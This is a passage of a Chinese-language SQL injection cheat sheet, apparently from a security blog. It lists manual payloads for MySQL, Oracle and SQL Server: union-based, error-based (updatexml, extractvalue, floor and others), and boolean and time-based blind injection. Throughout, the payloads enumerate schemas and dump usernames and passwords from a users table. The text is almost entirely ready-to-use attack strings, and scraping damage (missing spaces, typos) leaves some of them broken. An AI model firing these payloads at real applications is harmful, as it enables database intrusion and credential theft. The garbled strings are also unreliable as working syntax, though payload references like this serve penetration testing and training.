?id=1' order by 4--+?id=0'unionselect1,2,3,database()--+?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users --+#group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0'unionselect1,2,3,password from users limit 0,1--+
1.2 报错注入
1 2 3 4 5 6 7 8 9 10
1.floor()select*from test where id=1and (select1from (selectcount(*),concat(user(),floor(rand(0)*2))x from information_schema.tables groupby x)a); 2.extractvalue()select*from test where id=1and (extractvalue(1,concat(0x7e,(selectuser()),0x7e))); 3.updatexml()select*from test where id=1and (updatexml(1,concat(0x7e,(selectuser()),0x7e),1)); 4.geometrycollection()select*from test where id=1and geometrycollection((select*from(select*from(selectuser())a)b)); 5.multipoint()select*from test where id=1and multipoint((select*from(select*from(selectuser())a)b)); 6.polygon()select*from test where id=1and polygon((select*from(select*from(selectuser())a)b)); 7.multipolygon()select*from test where id=1and multipolygon((select*from(select*from(selectuser())a)b)); 8.linestring()select*from test where id=1and linestring((select*from(select*from(selectuser())a)b)); 9.multilinestring()select*from test where id=1and multilinestring((select*from(select*from(selectuser())a)b)); 10.exp()select*from test where id=1andexp(~(select*from(selectuser())a));
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表:?id=1'and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + #concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
?id=-1' union select user,null from dual--?id=-1'unionselect version,nullfrom v$instance--?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--?id=-1' union select username,passwd from users--?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
2.2 报错注入
1
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1'and1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like'Oracle%))--?id=1'and1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit=3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
2.3 盲注
2.3.1 布尔盲注
既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。 语法:decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);
该函数的含义如下:
1
IF 条件=值1 THEN RETURN(返回值1)ELSIF 条件=值2 THEN RETURN(返回值2) ......ELSIF 条件=值n THEN RETURN(返回值n)ELSE RETURN(缺省值)END IF
1
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--?id=1'and1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--?id=1' and ascii(substr(user,1,1))> 64-- #二分法
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--?id=1'and1=(casewhen ascii(substr(user,1,1))>64then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else1end)--
0x03 SQL server 手工注入
3.1 联合注入
1
?id=-1' union select null,null--?id=-1'unionselect @@servername, @@version--?id=-1' union select db_name(),suser_sname()--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
3.2 报错注入
1
?id=1' and 1=(select 1/@@servername)--?id=1'and1=(select1/(select top 1 name from sys.databases where name notin (select top 1 name from sys.databases))--
3.3 盲注
3.3.1 布尔盲注
1
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way